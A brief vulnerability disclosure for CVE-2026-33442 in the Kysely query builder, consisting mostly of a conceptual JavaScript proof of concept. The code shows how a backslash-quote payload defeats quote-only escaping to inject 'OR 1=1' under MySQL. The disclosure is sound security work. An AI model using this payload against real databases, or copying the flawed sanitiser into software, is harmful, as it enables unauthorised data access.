CVE-2026-33442 Kysely SQL注入漏洞

// Conceptual PoC for CVE-2026-33442 // Demonstrating the bypass of sanitizeStringLiteral function vulnerableSanitize(str) { // Kysely 0.28.12/0.28.13 logic: escapes single quotes only return str.replace(/'/g, "''"); } // Attacker payload: A backslash followed by a single quote const userInput = "\\' OR 1=1 --"; // The query construction const query = `SELECT * FROM users WHERE name = '${vulnerableSanitize(userInput)}'`; console.log("Generated SQL:", query); // Output: SELECT * FROM users WHERE name = '\'' OR 1=1 --' /* Analysis in MySQL (BACKSLASH_ESCAPES mode): 1. The string starts at the first quote. 2. It encounters the backslash \ . 3. The backslash escapes the following single quote ' . 4. The string literal effectively ends after the escaped quote. 5. The ' OR 1=1 --' part is interpreted as SQL code, not a string. Result: SQL Injection successful. */